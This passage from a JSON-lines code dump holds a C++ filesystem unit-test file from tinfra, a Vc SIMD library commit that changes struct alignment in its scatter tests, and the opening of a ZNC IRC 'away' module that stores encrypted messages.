\"tinfra\/test.h\"\n#include \"tinfra\/file.h\"        \n\n#include \"tinfra\/vfs.h\"\n#include \"tinfra\/path.h\"\n\n#include <iostream>\n#include <stdexcept>\n#include <cstdlib> \/\/ for system\n#include <algorithm>\n\nusing namespace tinfra;\n\nSUITE(tinfra)\n{\n    using tinfra::test::test_fs_sandbox;\n    \n    TEST(test_is_dir)\n    {\n        using tinfra::fs::is_dir;\n        CHECK( is_dir(\"\/\") );\n        CHECK( is_dir(\"\\\\\") );\n        \n        CHECK( is_dir(\".\") );\n        CHECK( is_dir(\".\/\") );\n        \n#ifdef _WIN32\n        \n        CHECK( is_dir(\".\\\\\") );\n        CHECK( is_dir(\"C:\") );\n        CHECK( is_dir(\"C:\/\") );\n        CHECK( is_dir(\"C:\\\\\") );\n        \n#endif\n    }\n\n    TEST(fs_copy)\n    {\n        tinfra::test::test_fs_sandbox sandbox(\"testtest_file\");\n\t\n        fs::copy(\"testtest_file\", \"boo.test\");\n        CHECK( fs::is_file(\"boo.test\") );\n        \n        \/\/ check if source doesn't exist\n        CHECK_THROW( fs::copy(\"testtest_fileXX\", \"foo\"), std::runtime_error);\n        \n        \/\/ check if dest directory doesn't exist\n        CHECK_THROW( fs::copy(\"testtest_file\", \"fooFOOfoo\/foo\"), std::runtime_error);\n    }\n    \n    TEST(fs_list_files)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        std::vector<std::string> files = fs::list_files(\".\");\n\t\tCHECK_EQUAL(1, int(files.size()));\n        CHECK_EQUAL(\"testtest_dir\", files[0]);        \n    }\n    \n    TEST(fs_mkdir_rmdir)\n    {\n        test_fs_sandbox tmp_location;\n        {\n            const char* name = \"kukkuryku\";\n            CHECK( !fs::exists(name));\n            fs::mkdir(name);\n            CHECK( fs::exists(name));\n            CHECK( fs::is_dir(name));\n            fs::rmdir(name);\n            CHECK( !fs::is_dir(name));\n        }\n        \n        {\n            const char* name = \"huzia\/c\/f\/e\";\n            CHECK( !fs::exists(name));\n            fs::mkdir(name,true);\n            CHECK( fs::exists(name));\n            CHECK( fs::is_dir(name));\n            fs::rmdir(\"huzia\/c\/f\/e\");\n            fs::rmdir(\"huzia\/c\/f\");\n            fs::rmdir(\"huzia\/c\");\n            fs::rmdir(\"huzia\");\n            CHECK( !fs::exists(\"a\"));\n        }\n    }\n#ifndef _WIN32\n    TEST(fs_stat_symlink)\n    {\n        test_fs_sandbox tmp_location;\n        CHECK_EQUAL(0, std::system(\"ln -s . foo\"));\n        tinfra::fs::file_info fi= tinfra::fs::stat(\"foo\");\n        CHECK_EQUAL(tinfra::fs::SYMBOLIC_LINK, fi.type);\n    }\n#endif\n    TEST(fs_recursive)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        fs::recursive_copy(\"testtest_dir\", \"boo\");\n        fs::recursive_rm(\"boo\");\n    }\n    \n    TEST(fs_walk)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        struct foo_walker: public fs::walker {\n            virtual bool accept(tstring const& name, tstring const& parent, bool is_dir)\n            {\n                return true;\n            }            \n        };\n        foo_walker foo;\n        fs::walk(\".\", foo);\n    }\n    \n    TEST(fs_recursive_lister_depth)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        \n        fs::recursive_lister lister(\".\", false);\n        \n        std::vector<std::string> result;\n        {\n            fs::directory_entry de;\n            while (lister.fetch_next(de) ) {\n                result.push_back(de.name.str());\n            }\n        }\n        std::sort(result.begin(), result.end());\n        \n        CHECK_EQUAL(4, result.size());\n        CHECK_EQUAL(\".\/testtest_dir\",         result[0]);\n        CHECK_EQUAL(\".\/testtest_dir\/a\",       result[1]);\n        CHECK_EQUAL(\".\/testtest_dir\/a\/file2\", result[2]);\n        CHECK_EQUAL(\".\/testtest_dir\/file1\",   result[3]);\n    }\n    \n    TEST(fs_recursive_lister_ignore_stg)\n    {\n        test_fs_sandbox tmp_location(\"testtest_dir\");\n        \n        fs::recursive_lister lister(\".\", false);\n        \n        std::vector<std::string> result;\n        {\n            fs::directory_entry de;\n            while (lister.fetch_next(de) ) {\n                \/\/ save a but don't recurse\n                if( tinfra::path::basename(de.name) == \"a\" )\n                    lister.recurse(false);\n                result.push_back(de.name.str());\n            }\n        }\n        std::sort(result.begin(), result.end());\n        \n        CHECK_EQUAL(3, result.size());\n        CHECK_EQUAL(\".\/testtest_dir\",         result[0]);\n        CHECK_EQUAL(\".\/testtest_dir\/a\",       result[1]);\n        \/\/CHECK_EQUAL(\".\/testtest_dir\/a\/file2\", result[2]);\n        CHECK_EQUAL(\".\/testtest_dir\/file1\",   result[2]);\n    }\n    \n    void touch(tstring const& name)\n    {\n        \n        tinfra::write_file(name,\"\");\n    }\n#if defined(__APPLE__) &&  defined(__MACH__)\n    TEST(fs_localized_name_create)\n    {\n        test_fs_sandbox tmp_location;\n        \n        tstring const POLISH_NAME = \"\\x0c5\\x082\\xc3\\xb3\\x64\\x6b\\x61\"; \/\/ \"lodka\", polish boat\n        \n        touch(POLISH_NAME);\n        \n        std::vector<std::string> files = fs::list_files(\".\");\n        CHECK_EQUAL(1, int(files.size()));\n        CHECK_EQUAL(POLISH_NAME, files[0]);\n    }\n#endif\n\n    void test_vfs(tinfra::vfs& fs)\n    {\n        using tinfra::fs::file_name_list;\n        \/\/ check if the roots are available\n        file_name_list roots = fs.roots();\n        for( file_name_list::const_iterator r = roots.begin(); r != roots.end(); ++r)\n            CHECK( fs.is_dir(r->c_str()) );\n        \n        \n    }\n    \n    TEST(test_local_vfs)\n    {\n        test_vfs(tinfra::local_fs());\n    }\n    \n#ifndef _WIN32\n    \/\/\/ basic test for symlink\/readlink interoperability on POSIX\n    \n    TEST(fs_symlink_and_readlink) {\n        test_fs_sandbox tmp_location;\n        tinfra::fs::symlink(\".\", \"foo\");\n        tinfra::fs::file_info fi= tinfra::fs::stat(\"foo\");\n        CHECK_EQUAL(tinfra::fs::SYMBOLIC_LINK, fi.type);\n        CHECK_EQUAL(\".\", tinfra::fs::readlink(\"foo\"));\n    }\n    \n    TEST(fs_realpath_complex)\n    {\n        using tinfra::fs::readlink;\n        using tinfra::fs::mkdir;\n        using tinfra::fs::symlink;\n        \n        test_fs_sandbox tmp_location;\n        mkdir(\"var\/a\/b\", true);\n        mkdir(\"var\/x\/real_c\", true);\n        mkdir(\"var\/real_d\", true);\n        \n        symlink(\"..\/..\/real_d\", \"var\/x\/real_c\/d\");\n        symlink(\"..\/..\/x\/real_c\", \"var\/a\/b\/c\");\n        symlink(\"var\/a\/b\/c\/d\", \"d\");\n        touch(\"d\/FOO\");\n        \/\/system(\"find . | xargs ls -lad\");\n        std::string pwd = tinfra::fs::pwd();\n        \n        CHECK_EQUAL( tinfra::path::join(pwd, \"var\/real_d\"), \n                     tinfra::fs::realpath(\"var\/x\/real_c\/d\"));\n        \n        CHECK_EQUAL( tinfra::path::join(pwd, \"var\/real_d\/FOO\"), \n                     tinfra::fs::realpath(\"var\/a\/b\/c\/d\/FOO\"));\n    }\n#endif\n}\n\n\/\/ jedit: :tabSize=8:indentSize=4:noTabs=true:mode=c++:\n\n<|endoftext|>"}
{"text":"<commit_before>\/*  This file is part of the Vc library. {{{\nCopyright © 2009-2014 Matthias Kretz <kretz@kde.org>\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and\/or other materials provided with the distribution.\n    * Neither the names of contributing organizations nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n}}}*\/\n\/\/ includes {{{1\n#include \"unittest.h\"\n#include <iostream>\n#include <cstring>\n#include <Vc\/array>\n\nusing namespace Vc;\n\nTEST_TYPES(Vec, scatterArray, AllTypes) \/\/{{{1\n{\n    typedef typename Vec::EntryType T;\n    typedef typename Vec::IndexType It;\n    constexpr int count = 31999;\n    Vc::array<T, count> array, out;\n    for (int i = 0; i < count; ++i) {\n        array[i] = i;\n        if (!std::is_integral<T>::value || !std::is_unsigned<T>::value) {\n            array[i] -= 100;\n        }\n    }\n    typename It::Mask mask;\n    for (It i(IndexesFromZero); !(mask = (i < count)).isEmpty(); i += Vec::Size) {\n        auto castedMask = simd_cast<typename Vec::Mask>(mask);\n        if (all_of(castedMask)) {\n            Vec a(&array[0], i);\n            a += 1;\n            a.scatter(&out[0], i);\n        } else {\n            Vec a(&array[0], i, castedMask);\n            a += 1;\n            a.scatter(&out[0], i, castedMask);\n        }\n    }\n    for (int i = 0; i < count; ++i) {\n        array[i] += 1;\n        COMPARE(array[i], out[i]);\n    }\n    COMPARE(0, std::memcmp(&array[0], &out[0], count * sizeof(typename Vec::EntryType)));\n\n    for (It i(IndexesFromZero); !(mask = (i < count)).isEmpty(); i += Vec::Size) {\n        auto castedMask = simd_cast<typename Vec::Mask>(mask);\n        if (all_of(castedMask)) {\n            Vec a = array[i];\n            out[i] = a + 1;\n        } else {\n            Vec a;\n            where(castedMask) | a = array[i];\n            where(castedMask) | out[i] = a + 1;\n        }\n    }\n    for (int i = 0; i < count; ++i) {\n        array[i] += 1;\n        COMPARE(array[i], out[i]);\n    }\n    COMPARE(0, std::memcmp(&array[0], &out[0], count * sizeof(typename Vec::EntryType)));\n}\n\nTEST_TYPES(Vec, maskedScatterArray, AllTypes) \/\/{{{1\n{\n    typedef typename Vec::IndexType It;\n    typedef typename Vec::EntryType T;\n\n    Vc::array<T, Vec::Size> mem;\n    const Vec v = Vec([](T n) { return n + 1; });\n\n    withRandomMask<Vec>([&](typename Vec::mask_type m) {\n        Vec(0).store(&mem[0], Vc::Unaligned);\n        where(m) | mem[It([](int n) { return n; })] = v;\n\n        Vec reference = v;\n        reference.setZeroInverted(m);\n\n        COMPARE(Vec(&mem[0], Vc::Unaligned), reference) << \"m = \" << m;\n    });\n}\n\ntemplate<typename T, std::size_t Align> struct Struct \/\/{{{1\n{\n    alignas(Align) T a;\n    char x;\n    alignas(Align) T b;\n    short y;\n    alignas(Align) T c;\n    char z;\n};\n\nTEST_TYPES(Vec, scatterStruct, AllTypes) \/\/{{{1\n{\n    typedef typename Vec::IndexType It;\n    typedef Struct<typename Vec::EntryType, alignof(typename Vec::EntryType)> S;\n    constexpr int count = 3999;\n    Vc::array<S, count> array, out;\n    memset(&array[0], 0, count * sizeof(S));\n    memset(&out[0], 0, count * sizeof(S));\n    for (int i = 0; i < count; ++i) {\n        array[i].a = i;\n        array[i].b = i + 1;\n        array[i].c = i + 2;\n    }\n    typename It::Mask mask;\n    for (It i(IndexesFromZero); !(mask = (i < count)).isEmpty(); i += Vec::Size) {\n        auto castedMask = simd_cast<typename Vec::Mask>(mask);\n        Vec a; a(castedMask) = array[i][&S::a];\n        where(castedMask) | out[i][&S::a] = a;\n        Vec b; b(castedMask) = array[i][&S::b];\n        where(castedMask) | out[i][&S::b] = b;\n        Vec c; c(castedMask) = array[i][&S::c];\n        where(castedMask) | out[i][&S::c] = c;\n    }\n    VERIFY(0 == memcmp(&array[0], &out[0], count * sizeof(S)));\n}\n\ntemplate<typename T, std::size_t Align> struct Struct2 \/\/{{{1\n{\n    char x;\n    Struct<T, Align> b;\n    short y;\n};\n\nconstexpr int scatterStruct2Count = 97;\n\ntemplate<typename T, std::size_t Align>\nstatic std::ostream &operator<<(std::ostream &out, const Struct2<T, Align> &s)\n{\n    return out << '{' << s.b.a << ' ' << s.b.b << ' ' << s.b.c << '}';\n}\n\ntemplate<typename T, std::size_t Align>\nstatic std::ostream &operator<<(std::ostream &out, const Struct2<T, Align> *s)\n{\n    for (int i = 0; i < scatterStruct2Count; ++i) {\n        out << s[i];\n    }\n    return out;\n}\n\ntemplate <typename T, std::size_t N>\nstatic std::ostream &operator<<(std::ostream &out, const Vc::array<T, N> &x)\n{\n    out << x[0];\n    for (std::size_t i = 1; i < N; ++i) {\n        out << ' ' << x[i];\n    }\n    return out;\n}\n\ntemplate<typename V> V makeReference(V v, typename V::Mask m)\n{\n    v.setZero(!m);\n    return v;\n}\nTEST_TYPES(Vec, scatterStruct2, AllTypes) \/\/{{{1\n{\n    typedef typename Vec::IndexType It;\n    typedef Struct2<typename Vec::EntryType, alignof(typename Vec::EntryType)> S1;\n    typedef Struct<typename Vec::EntryType, alignof(typename Vec::EntryType)> S2;\n    Vc::array<S1, scatterStruct2Count> array, out;\n    memset(&array[0], 0, scatterStruct2Count * sizeof(S1));\n    memset(&out[0], 0, scatterStruct2Count * sizeof(S1));\n    for (int i = 0; i < scatterStruct2Count; ++i) {\n        array[i].b.a = i + 0;\n        array[i].b.b = i + 1;\n        array[i].b.c = i + 2;\n    }\n    typename It::Mask mask;\n    typename Vec::Mask castedMask;\n    for (It i(IndexesFromZero); !(mask = (i < scatterStruct2Count)).isEmpty(); i += Vec::Size) {\n        castedMask = simd_cast<decltype(castedMask)>(mask);\n        Vec a = Vec(); a(castedMask) = array[i][&S1::b][&S2::a];\n        Vec b = Vec(); b(castedMask) = array[i][&S1::b][&S2::b];\n        Vec c = Vec(); c(castedMask) = array[i][&S1::b][&S2::c];\n        COMPARE(a, Vc::simd_cast<Vec>(makeReference(i, mask)));\n        COMPARE(b, Vc::simd_cast<Vec>(makeReference(i + 1, mask)));\n        COMPARE(c, Vc::simd_cast<Vec>(makeReference(i + 2, mask)));\n        where(castedMask) | out[i][&S1::b][&S2::a] = a;\n        where(castedMask) | out[i][&S1::b][&S2::b] = b;\n        where(castedMask) | out[i][&S1::b][&S2::c] = c;\n    }\n    \/\/ castedmask != mask here because mask is changed in the for loop, but castedmask has the value\n    \/\/ from the previous iteration\n    VERIFY(0 == memcmp(&array[0], &out[0], scatterStruct2Count * sizeof(S1))) << mask << ' ' << castedMask << '\\n'\n        << array << '\\n' << out;\n}\n\n\/\/ vim: foldmethod=marker\n<commit_msg>Fix alignment of doubles on -m32<commit_after>\/*  This file is part of the Vc library. {{{\nCopyright © 2009-2014 Matthias Kretz <kretz@kde.org>\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n    * Redistributions of source code must retain the above copyright\n      notice, this list of conditions and the following disclaimer.\n    * Redistributions in binary form must reproduce the above copyright\n      notice, this list of conditions and the following disclaimer in the\n      documentation and\/or other materials provided with the distribution.\n    * Neither the names of contributing organizations nor the\n      names of its contributors may be used to endorse or promote products\n      derived from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" AND\nANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED\nWARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER BE LIABLE FOR ANY\nDIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES\n(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\nLOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND\nON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\nSOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n}}}*\/\n\/\/ includes {{{1\n#include \"unittest.h\"\n#include <iostream>\n#include <cstring>\n#include <Vc\/array>\n\nusing namespace Vc;\n\nTEST_TYPES(Vec, scatterArray, AllTypes) \/\/{{{1\n{\n    typedef typename Vec::EntryType T;\n    typedef typename Vec::IndexType It;\n    constexpr int count = 31999;\n    Vc::array<T, count> array, out;\n    for (int i = 0; i < count; ++i) {\n        array[i] = i;\n        if (!std::is_integral<T>::value || !std::is_unsigned<T>::value) {\n            array[i] -= 100;\n        }\n    }\n    typename It::Mask mask;\n    for (It i(IndexesFromZero); !(mask = (i < count)).isEmpty(); i += Vec::Size) {\n        auto castedMask = simd_cast<typename Vec::Mask>(mask);\n        if (all_of(castedMask)) {\n            Vec a(&array[0], i);\n            a += 1;\n            a.scatter(&out[0], i);\n        } else {\n            Vec a(&array[0], i, castedMask);\n            a += 1;\n            a.scatter(&out[0], i, castedMask);\n        }\n    }\n    for (int i = 0; i < count; ++i) {\n        array[i] += 1;\n        COMPARE(array[i], out[i]);\n    }\n    COMPARE(0, std::memcmp(&array[0], &out[0], count * sizeof(typename Vec::EntryType)));\n\n    for (It i(IndexesFromZero); !(mask = (i < count)).isEmpty(); i += Vec::Size) {\n        auto castedMask = simd_cast<typename Vec::Mask>(mask);\n        if (all_of(castedMask)) {\n            Vec a = array[i];\n            out[i] = a + 1;\n        } else {\n            Vec a;\n            where(castedMask) | a = array[i];\n            where(castedMask) | out[i] = a + 1;\n        }\n    }\n    for (int i = 0; i < count; ++i) {\n        array[i] += 1;\n        COMPARE(array[i], out[i]);\n    }\n    COMPARE(0, std::memcmp(&array[0], &out[0], count * sizeof(typename Vec::EntryType)));\n}\n\nTEST_TYPES(Vec, maskedScatterArray, AllTypes) \/\/{{{1\n{\n    typedef typename Vec::IndexType It;\n    typedef typename Vec::EntryType T;\n\n    Vc::array<T, Vec::Size> mem;\n    const Vec v = Vec([](T n) { return n + 1; });\n\n    withRandomMask<Vec>([&](typename Vec::mask_type m) {\n        Vec(0).store(&mem[0], Vc::Unaligned);\n        where(m) | mem[It([](int n) { return n; })] = v;\n\n        Vec reference = v;\n        reference.setZeroInverted(m);\n\n        COMPARE(Vec(&mem[0], Vc::Unaligned), reference) << \"m = \" << m;\n    });\n}\n\ntemplate<typename T, std::size_t Align> struct Struct \/\/{{{1\n{\n    alignas(Align) T a;\n    char x;\n    alignas(Align) T b;\n    short y;\n    alignas(Align) T c;\n    char z;\n};\n\nTEST_TYPES(Vec, scatterStruct, AllTypes) \/\/{{{1\n{\n    typedef typename Vec::IndexType It;\n    typedef Struct<typename Vec::EntryType, sizeof(typename Vec::EntryType)> S;\n    constexpr int count = 3999;\n    Vc::array<S, count> array, out;\n    memset(&array[0], 0, count * sizeof(S));\n    memset(&out[0], 0, count * sizeof(S));\n    for (int i = 0; i < count; ++i) {\n        array[i].a = i;\n        array[i].b = i + 1;\n        array[i].c = i + 2;\n    }\n    typename It::Mask mask;\n    for (It i(IndexesFromZero); !(mask = (i < count)).isEmpty(); i += Vec::Size) {\n        auto castedMask = simd_cast<typename Vec::Mask>(mask);\n        Vec a; a(castedMask) = array[i][&S::a];\n        where(castedMask) | out[i][&S::a] = a;\n        Vec b; b(castedMask) = array[i][&S::b];\n        where(castedMask) | out[i][&S::b] = b;\n        Vec c; c(castedMask) = array[i][&S::c];\n        where(castedMask) | out[i][&S::c] = c;\n    }\n    VERIFY(0 == memcmp(&array[0], &out[0], count * sizeof(S)));\n}\n\ntemplate<typename T, std::size_t Align> struct Struct2 \/\/{{{1\n{\n    char x;\n    Struct<T, Align> b;\n    short y;\n};\n\nconstexpr int scatterStruct2Count = 97;\n\ntemplate<typename T, std::size_t Align>\nstatic std::ostream &operator<<(std::ostream &out, const Struct2<T, Align> &s)\n{\n    return out << '{' << s.b.a << ' ' << s.b.b << ' ' << s.b.c << '}';\n}\n\ntemplate<typename T, std::size_t Align>\nstatic std::ostream &operator<<(std::ostream &out, const Struct2<T, Align> *s)\n{\n    for (int i = 0; i < scatterStruct2Count; ++i) {\n        out << s[i];\n    }\n    return out;\n}\n\ntemplate <typename T, std::size_t N>\nstatic std::ostream &operator<<(std::ostream &out, const Vc::array<T, N> &x)\n{\n    out << x[0];\n    for (std::size_t i = 1; i < N; ++i) {\n        out << ' ' << x[i];\n    }\n    return out;\n}\n\ntemplate<typename V> V makeReference(V v, typename V::Mask m)\n{\n    v.setZero(!m);\n    return v;\n}\nTEST_TYPES(Vec, scatterStruct2, AllTypes) \/\/{{{1\n{\n    typedef typename Vec::IndexType It;\n    typedef Struct2<typename Vec::EntryType, sizeof(typename Vec::EntryType)> S1;\n    typedef Struct<typename Vec::EntryType, sizeof(typename Vec::EntryType)> S2;\n    Vc::array<S1, scatterStruct2Count> array, out;\n    memset(&array[0], 0, scatterStruct2Count * sizeof(S1));\n    memset(&out[0], 0, scatterStruct2Count * sizeof(S1));\n    for (int i = 0; i < scatterStruct2Count; ++i) {\n        array[i].b.a = i + 0;\n        array[i].b.b = i + 1;\n        array[i].b.c = i + 2;\n    }\n    typename It::Mask mask;\n    typename Vec::Mask castedMask;\n    for (It i(IndexesFromZero); !(mask = (i < scatterStruct2Count)).isEmpty(); i += Vec::Size) {\n        castedMask = simd_cast<decltype(castedMask)>(mask);\n        Vec a = Vec(); a(castedMask) = array[i][&S1::b][&S2::a];\n        Vec b = Vec(); b(castedMask) = array[i][&S1::b][&S2::b];\n        Vec c = Vec(); c(castedMask) = array[i][&S1::b][&S2::c];\n        COMPARE(a, Vc::simd_cast<Vec>(makeReference(i, mask)));\n        COMPARE(b, Vc::simd_cast<Vec>(makeReference(i + 1, mask)));\n        COMPARE(c, Vc::simd_cast<Vec>(makeReference(i + 2, mask)));\n        where(castedMask) | out[i][&S1::b][&S2::a] = a;\n        where(castedMask) | out[i][&S1::b][&S2::b] = b;\n        where(castedMask) | out[i][&S1::b][&S2::c] = c;\n    }\n    \/\/ castedmask != mask here because mask is changed in the for loop, but castedmask has the value\n    \/\/ from the previous iteration\n    VERIFY(0 == memcmp(&array[0], &out[0], scatterStruct2Count * sizeof(S1))) << mask << ' ' << castedMask << '\\n'\n        << array << '\\n' << out;\n}\n\n\/\/ vim: foldmethod=marker\n<|endoftext|>"}
{"text":"<commit_before>#include \"main.h\"\n#include \"User.h\"\n#include \"Nick.h\"\n#include \"Modules.h\"\n#include \"Chan.h\"\n#include \"Utils.h\"\n#include <pwd.h>\n#include <map>\n#include <vector>\n\n#ifndef HAVE_LIBSSL\n#error This plugin only works with OpenSSL\n#endif \/* HAVE_LIBSSL *\/\n\n#define CRYPT_VERIFICATION_TOKEN \"::__:AWAY:__::\"\n\n\/*\n * Quiet Away and message logger\n * Author: imaginos <imaginos@imaginos.net>\n *\n * \n * $Log$\n * Revision 1.3  2005\/04\/01 08:55:41  imaginos\n * keep things in synch\n *\n * Revision 1.2  2005\/04\/01 08:49:46  imaginos\n * woops actually delete the message\n *\n * Revision 1.1  2005\/04\/01 08:30:47  imaginos\n * simple away script\n *\n *\n *\/\n\nclass CAway;\n\nclass CAwayJob : public CTimer \n{\npublic:\n\tCAwayJob( CModule* pModule, unsigned int uInterval, unsigned int uCycles, const string& sLabel, const string& sDescription ) \n\t\t: CTimer( pModule, uInterval, uCycles, sLabel, sDescription) {}\n\n\tvirtual ~CAwayJob() {}\n\nprotected:\n\tvirtual void RunJob();\n};\n\nclass CAway : public CModule \n{\npublic:\n\tMODCONSTRUCTOR(CAway)\n\t{\n\t\tPing();\t\n\t\tm_bIsAway = false;\n\t\tAddTimer( new CAwayJob( this, 60, 0, \"AwayJob\", \"Checks for idle and saves messages every 1 minute\" ) );\n\t}\n\tvirtual ~CAway() \n\t{\n\t\tSaveBufferToDisk();\n\t}\n\n\tvirtual bool OnBoot()\n\t{\n\t\tif ( m_sPassword.empty() )\n\t\t{\n\t\t\tchar *pTmp = getpass( \"Enter Encryption Key for away.so: \" );\n\n\t\t\tif ( pTmp )\n\t\t\t\tm_sPassword = CBlowfish::MD5( pTmp );\n\n\t\t\t*pTmp = 0;\n\t\t}\n\t\t\n\t\tif ( !BootStrap() )\n\t\t\treturn( false );\n\n\t\treturn( true );\n\t}\n\n\tvirtual void OnIRCConnected()\n\t{\n\t\tif( m_bIsAway )\n\t\t\tAway( true ); \/\/ reset away if we are reconnected\n\t\telse\n\t\t\tBack();\t\/\/ ircd seems to remember your away if you killed the client and came back\n\t}\n\n\tbool BootStrap()\n\t{\n\t\tstring sFile;\n\t\tif ( DecryptMessages( sFile ) )\n\t\t{\n\t\t\tstring sLine;\n\t\t\tu_int iPos = 0;\n\t\t\twhile( ReadLine( sFile, sLine, iPos ) )\n\t\t\t{\n\t\t\t\tCUtils::Trim( sLine );\n\t\t\t\tAddMessage( sLine );\n\t\t\t}\n\t\t} else\n\t\t{\n\t\t\tcerr << \"Failed to Decrypt Messages\" << endl;\n\t\t\treturn( false );\n\t\t}\n\n\t\treturn( true );\n\t}\n\t\n\tvoid SaveBufferToDisk()\n\t{\n\t\tif ( !m_sPassword.empty() )\n\t\t{\n\t\t\tstring sFile = CRYPT_VERIFICATION_TOKEN;\n\t\t\t\n\t\t\tfor( u_int b = 0; b < m_vMessages.size(); b++ )\n\t\t\t\tsFile += m_vMessages[b] + \"\\n\";\n\n\t\t\tCBlowfish c( m_sPassword, BF_ENCRYPT );\n\t\t\tsFile = c.Crypt( sFile );\n\t\t\tstring sPath = GetPath();\n\t\t\tif ( !sPath.empty() )\n\t\t\t{\n\t\t\t\tWriteFile( sPath, sFile );\n\t\t\t\tchmod( sPath.c_str(), 0600 );\n\t\t\t}\n\t\t}\n\t}\n\n\tvirtual void OnUserAttached()\n\t{\n\t\tBack( true );\n\t}\n\tvirtual void OnUserDetached()\n\t{\n\t\tAway();\n\t}\n\n\tvirtual string GetDescription() \n\t{\n\t\treturn ( \"Stores messages while away, also auto away\" );\n\t}\n\t\n\tvirtual void OnModCommand( const string& sCommand )\n\t{\n\t\tstring sCmdName = CUtils::Token(sCommand, 0);\n\t\tif ( sCmdName == \"away\" )\n\t\t{\n\t\t\tAway();\n\t\t\tPutModNotice( \"You have been marked as away\", \"away\" );\n\t\t}\t\n\t\telse if ( sCmdName == \"back\" )\n\t\t{\n\t\t\tif ( m_vMessages.empty() )\n\t\t\t\tPutModNotice( \"Welcome Back!\", \"away\" );\n\t\t\tBack();\n\t\t}\n\t\telse if ( sCmdName == \"messages\" )\n\t\t{\n\t\t\tfor( u_int a = 0; a < m_vMessages.size(); a++ )\n\t\t\t\tPutModule( m_vMessages[a], \"away\" );\n\t\t} \n\t\telse if ( sCmdName == \"delete\" )\n\t\t{\n\t\t\tstring sWhich = CUtils::Token(sCommand, 1);\n\t\t\tif ( sWhich == \"all\" )\n\t\t\t{\n\t\t\t\tPutModNotice( \"Deleted \" + CUtils::ToString( m_vMessages.size() ) + \" Messages.\", \"away\" );\n\t\t\t\tfor( u_int a = 0; a < m_vMessages.size(); a++ )\n\t\t\t\t\tm_vMessages.erase( m_vMessages.begin() + a-- );\n\n\t\t\t} \n\t\t\telse if ( sWhich.empty() )\n\t\t\t{\n\t\t\t\tPutModNotice( \"USAGE: delete <num|all>\", \"away\" );\n\t\t\t\treturn;\n\t\t\t} else\n\t\t\t{\n\t\t\t\tu_int iNum = atoi( sWhich.c_str() );\n\t\t\t\tif ( iNum >= m_vMessages.size() )\n\t\t\t\t{\n\t\t\t\t\tPutModNotice( \"Illegal Message # Requested\", \"away\" );\n\t\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tm_vMessages.erase( m_vMessages.begin() + iNum );\n\t\t\t\t\tPutModNotice( \"Message Erased.\", \"away\" );\n\t\t\t\t}\n\t\t\t\tSaveBufferToDisk();\n\t\t\t}\n\t\t}\n\t\telse if ( sCmdName == \"save\" )\n\t\t{\n\t\t\tSaveBufferToDisk();\n\t\t\tPutModNotice( \"Messages saved to disk.\", \"away\" );\n\t\t}\n\t\telse if ( sCmdName == \"ping\" )\n\t\t{\n\t\t\tPing();\n\t\t}\n\t\telse if ( sCmdName == \"show\" )\n\t\t{\n\t\t\tmap< string, vector< string> > msvOutput;\n\t\t\tfor( u_int a = 0; a < m_vMessages.size(); a++ )\n\t\t\t{\n\t\t\t\tstring sTime = CUtils::Token( m_vMessages[a], 0, false, ':' );\n\t\t\t\tstring sWhom = CUtils::Token( m_vMessages[a], 1, false, ':' );\n\t\t\t\tstring sMessage = CUtils::Token( m_vMessages[a], 2, true, ':' );\n\t\t\t\t\n\t\t\t\tif ( ( sTime.empty() ) || ( sWhom.empty() ) || ( sMessage.empty() ) )\n\t\t\t\t{\n\t\t\t\t\t\/\/ illegal format\n\t\t\t\t\tPutModule( \"Corrupt message! [\" + m_vMessages[a] + \"]\", \"away\" );\n\t\t\t\t\tm_vMessages.erase( m_vMessages.begin() + a-- );\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\t\t\t\ttime_t iTime = strtol( sTime.c_str(), NULL, 10 );\n\t\t\t\tchar szFormat[64];\n\t\t\t\tstruct tm t;\n\t\t\t\tlocaltime_r( &iTime, &t 